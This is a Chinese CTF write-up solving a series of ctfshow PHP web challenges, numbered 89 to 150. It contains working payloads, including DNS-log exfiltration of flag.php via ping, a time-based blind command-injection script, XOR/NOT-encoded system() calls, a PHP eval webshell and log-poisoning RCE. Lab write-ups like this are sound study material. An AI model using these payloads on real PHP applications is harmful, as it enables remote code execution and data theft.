目录
- web 89
- web 90
- web 91
- web 92
- web 93
- web 94
- web 95
- web 96
- web 97
- web 98
- web 99
- web 100
- web 101
- web 102
- web 103
- web 104
- web 105
- web 106
- web 107
- web 108
- web 109
- web 110
- web 111
- web 112
- web 113
- web 114
- web 115
- web 123
- web 125
- web 126
- web 127
- web 128
- web 129
- web 130
- web 131
- web 132
- web 133
- web 134
- web 135
- web 136
- web 137
- web 138
- web 139
- web 140
- web 141
- web 142
- web 143
- web 144
- web 145
- web 146
- web 147
- web 148
- web 149
- web 150
- web 150_plus
web 89
这题主要利用 preg_match 无法处理数组,intval 处理数组有值返回。
?num[]=1
web 90
通过 intval 简介可知可以用编码绕过
?num=0x117c //4476的十六进制为117c
web 91
正则中的修饰符中 i 是匹配大小写,m 是匹配多行。
第一个正则是 im,第二个正则是 i ,且换行可用url编码表示 %0a 。
所以payload:
?cmd=%0aphp
web 92
num=0x117c
intval($num,$base=0)
//当base为0时,会自动检测num的进制
//例如:0x117c(16进制) == 4476(十进制) == 010574(8进制)
web 93
num=010574
web 94
?num=4476.0
使用小数点来进行操作。这样通过intval()函数就可以变为int类型的4476 ?num=4476.0
web 95
intval函数的发现最开头可以如果是+还是可以识别为原数
Payload:?num=+010574
web 96
u=./flag.php
web 97
a[]=1&a[]=2
web 98
$_GET?$_GET=&$_POST:'flag';
//三目运算符,&引用运算符
//当get传参时,引用post值
HTTP_FLAG=flag
web 99
in_array(search,array,type)
in_array($_GET[‘n’], $allow)
//函数搜索数组中是否存在指定的值。
//search 必需。规定要在数组搜索的值。
//array 必需。规定要搜索的数组。
//type 可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
//没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
<?php
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
$b = in_array('6a.php', $allow);
if($b){
echo $b;
}
?>
只要in_array($num, $allow);中$num开头是数字就转换为一
web 100
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
//v1=1即可因为=比and优先级大
?v1=1&v2=var_dump($ctfshow)&v3=;
web 101
v1=1&v2=echo new Reflectionclass&v3=;
//反射类,类似于序列化
拿到flag后还差一位可以手动爆破,一个个试,我的最后为6
web 102
在PHP5中is_numeric会认为十六进制,并返回true
而php7中就不行了,但还可以用科学计数法
先分析一下,我们可以通过file_put_contents把flag写到我们定义的一个文件里
所以v3=1.php,str要为flag值,所以call_user_func要通过一句话木马来得到flag,
并且is_numeric也要通过,我们可以使v1=hex2bin,所以可以使得v3为php://filter/write=convert.base64-decode/resource=1.php,v2传一个一句话木马经过base64和十六进制后,里面有字符e,这样就会被认为是科学计数法
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin
web 103
同上
web 104
两个值相同
或者加密后是0e…因为0的n次方还是0
web 105
本题有很多中不同的解,但原理相同,都是变量覆盖
第一种:
利用点
get:a=flag
post:error=a
最后:die($error=$a=$flag)
第二种:
这种要过
get:suces=flag
post:flag=
使得flag为空所以就能使得post['flag']=''且$flag=''
所以!($_POST['flag']==$flag)为0
又因为suces在flag为空前就以经把值赋给suces
所以die($suces)能输出flag
web 106
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
//加密后是0e......因为0的n次方还是0
web 107
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";//Bill
echo $age;//60
?>
parse_str
把查询字符串解析到变量中:
?v3[]=0
v1=v2['flag']=0
或
get:?v3=1
post:v1=flag=c4ca4238a0b923820dcc509a6f75849b
或
GET: ?v3=240610708 POST: v1=flag=0
第三种原理
parse_str(string,array):
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
array 可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
也就是说因为$v2为数组,此时parse_str("flag=xxx",$v2)会把flag存储到$v2数组键名为flag中去。
web 108
?c=a%00778
strrev() 函数
反转字符串 “I love Shanghai!”:!iahgnahS evol l
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
web 109
v1=Reflectionclass&v2=system(‘cat fl36dg.txt’)
Reflectionclass反射类,类似于序列化,不过这个能动态的反射类,序列化则不能
v1=Exception&v2=system(ls)
Exception(phpinfo)
会报错,并打印phpinfo页面,因为它将异常对象转换为字符串过程中没有任何转码,
直接执行输出
v1=1&v2=echo new Reflectionclass&v3=;
//反射类,类似于序列化,但这个可以动态执行
web 110
v1=FilesystemIterator&v2=getcwd
web 111
v1=ctfshow&v2=GLOBALS
最后是用var_dump而不是echo,可以使用数组输出的,所以这里可以让$ctfshow=&$GLOBALS
web 112
is_file可以通过包装器伪协议绕过
highlight_file($file);
支持伪协议
file=php://filter/resource=flag.php
file=php://filter/convert.UCS-2LE.UCS-2BE/resource=flag.php
file=compress.zlib://flag.php
web 113
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/
proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
file=compress.zlib://flag.php
web 114
php://filter/resource=flag.php
web 115
num=%0C36
$num!==‘36’
不全等于
$num==‘36’
弱等于
web 123
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
如果变量名中有不合法字符转换伪下划线,但只转换第一个不合法的字符
web 125
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
或
?1=flag.php
CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web 126
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
parse_str()给变量赋值,在这里是给数组a的第2个赋值,
且数组是以空格来划分,这里就用+来代替空格,
可以实现把变量fl0g值覆盖为flag_give_me
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web 127
?ctf show=ilove36d
如果变量名中有不合法字符转换伪下划线,但只转换第一个不合法的字符
web 128
?f1=_&f2=get_defined_vars
_()==gettext(),可以输出一个字符串,它本来是用来使得语言替换,比如中文,替换成英文,但要提前在配置里配好对应的翻译,如果没有的话,直接输出字符串。
get_defined_vars返回由所有已定义变量所组成的数组
web 129
f=/ctfshow/…/…/…/…/…/var/www/html/flag.php
web 130
f=ctfshow
匹配ctfshow前面的字符,且ctfshow前面至少要有0或一个字符。
f[]=ctfshow
preg_match()
//无法处理数组
web 131
原理:在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
<?php
echo str_repeat('very', '250000').'36Dctfshow';
web 132
扫波目录
发现:/robots.txt
访问 /admin 得到源码,对于 x&&y 如果x为 false 则直接跳过,对于 x||y ,x和y只要有一个为 true就行了。
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
所以 && 判断false不要仅 ,只要 x||y 里有一个为真就行了,对于这题来说,就是 username==admin。
/admin?username=admin&password=1&code=admin
web 133
?F=`$F`; ping `cat flag.php | grep ctfshow`.iuyc6f.dnslog.cn -c 1
eval(substr($F,0,6));
substr($F,0,6)=`$F`;
eval(``$F`; ping `cat flag.php | grep ctfshow`.iuyc6f.dnslog.cn -c 1);
执行时前面没有命令为空,接着执行下一条命令
web 134
parse_str($_SERVER[‘QUERY_STRING’]);
$_SERVER[‘QUERY_STRING’]获取get变量
parse_str可变量赋值
extract($_POST);变量覆盖
?_POST[key1]=36d&_POST[key2]=36d
web 135
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"`.d2e3a0.dnslog.cn
这题和第133题有点不同,要进一步正则,不然内容太多带不出来。
awk NR一排一排的获得数据
web 136
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
?c=ls /|tee 1
?c=cat /f149_15_h3r3|tee 2
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
这边是把ls查到的目录内容带入到tee命令中。
web 137
ctfshow=ctfshow::getFlag
// ::访问无参的静态方法
web 138
原理:
call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); // As of PHP 5.3.0
ctfshow[]=ctfshow&ctfshow[]=getFlag
web 139
import requests
import time
import string
str=string.ascii_letters+string.digits+"_-"
result=""
for i in range(1,5):
key = 0
for j in range(21,50):
for n in str:
time.sleep(0.1)
payload="if [ `cat /f149_15_h3r3|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 4;fi".format(i,j,n)
#if...fi是shell语言fi可以看成闭合
#cat /f149_15_h3r3拿flag,当然这边第一步因该是读目录,ls / -1(显示目录且每行只显示一个)
#awk 'NR=={0}'显示哪一行
#cut -c {1}显示第几个字符
#这句话的意思是,如果某行的第n个字符等于某个字母,则延时四秒这样就达到了盲注的效果。
url = "http://83612058-9ca5-423b-93f6-f7ee99092710.challenge.ctf.show/?c="+payload
try:
req = requests.get(url, timeout=3)
except:
result=result+n
print(result)
break
result+=" "
web 140
f1=intval&f2=intval
//返回值为空
f1=usleep&f2=usleep
web 141
<?php
$cmd = "tac flag.php";
$s = "";
$k = "";
for($i=0; $i<strlen($cmd); $i++){
for($j=128; $j<256; $j++){//ascii值128~255
if((255^$j) == ord($cmd[$i])){
$s .= "%".dechex($j);
$k .= "%ff";
}
}
}
$payload .= $k."^".$s;
echo $payload;
?>
因为1+1+phpinfo()也能运行,所以根据这个构造payload
用异或主要是为了绕过return,用来异或那么就可以return %…%…,然后到eval的时候执行异或,得到shell
构造一个payload
?v1=1&v2=1&v3=-(system)(ls)-
这边减号代替了空格
system和ls要用异或表达出来
?v1=1&v2=1&v3=-(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)-
web 142
sleep(0)
网页延迟0秒
?v1=0
web 143
*也可以当作分隔符
?v1=1&v2=1&v3=*(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f)*
web 144
?v1=1&v2=(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);&v3=-
web 145
可以用141的脚本%ff异或相当于取反了。也可以用下面这个
<?php
$cmd = "system";
$s = "";
for($i=0; $i<strlen($cmd); $i++){
for($j=128; $j<256; $j++){
if( (~chr($j)) == $cmd[$i] ){
$s .= "%".dechex($j);
}
}
}
echo $s;
?>
?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f):
三元运算符 ? :
web 146
?v1=1&v2=1&v3=| (~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f) |
|位运算符
web 147
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
GET ?show=;};system('grep flag flag.php');/*
POSOT ctf=%5ccreate_function
create_function()会创建一个匿名函数(lambda样式)。此处创建了一个叫lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数
web 148
可以用异或虽然题目中过滤了%但是我们的这个在传进去时会经过url编码,是不可见字符,只有在eval处才会异或
(%ff%ff%ff%ff%ff%ff^%8c%86%8c%8b%9a%92)(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff^%8b%9e%9c%df%99%93%9e%98%d1%8f%97%8f);
web 149
这题目把除了index.php的其他文件都删了,那么我们直接把一句话木马写进index.php就行了。
?ctf=index.php
show=<?php eval($_POST[1]);?>
/index.php
1=system('ls');
web 150
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){//创建对象时调用
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){//对象销毁时调用
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;//三目运算
}
}
function __autoload($class){
//__autoload尝试加载未定义的类
//我们创建了一个类的对象,如果 PHP 引擎没有找到脚本中包含的类文件,那么 __autoload() 魔术方法将自动触发。
if(isset($class)){
$class();
}
}
#过滤字符__autoload
$key = $_SERVER['QUERY_STRING'];
//例如:http://localhost/aaa/index.php?p=222&q=333
//$_SERVER['QUERY_STRING'] = "p=222&q=333";
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);//可以变量覆盖
if(class_exists($__CTFSHOW__)){
//判断类是否已定义
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
00x1:日志包含
漏洞点:
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
只要isVIP变量存在且ctf中没有:则包含ctf变量,注意这里没有任何过滤。
而isVIP可以通过extract($_GET)来变量覆盖。
步骤:
-
先上传一个一句话木马到日志里。
-
包含日志,然后rce(这里的服务器类型可以通过响应头来看)
00x2:PHP_SESSION_UPLOAD_PROGRESS
本题的条件竞争不知道为什么成功不了,如果有大佬成功了,望告知 😃
web 150_plus
?..CTFSHOW…=phpinfo
最后构造?..CTFSHOW…=phpinfo就可以看到phpinfo信息啦
原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
flag在phpinfo中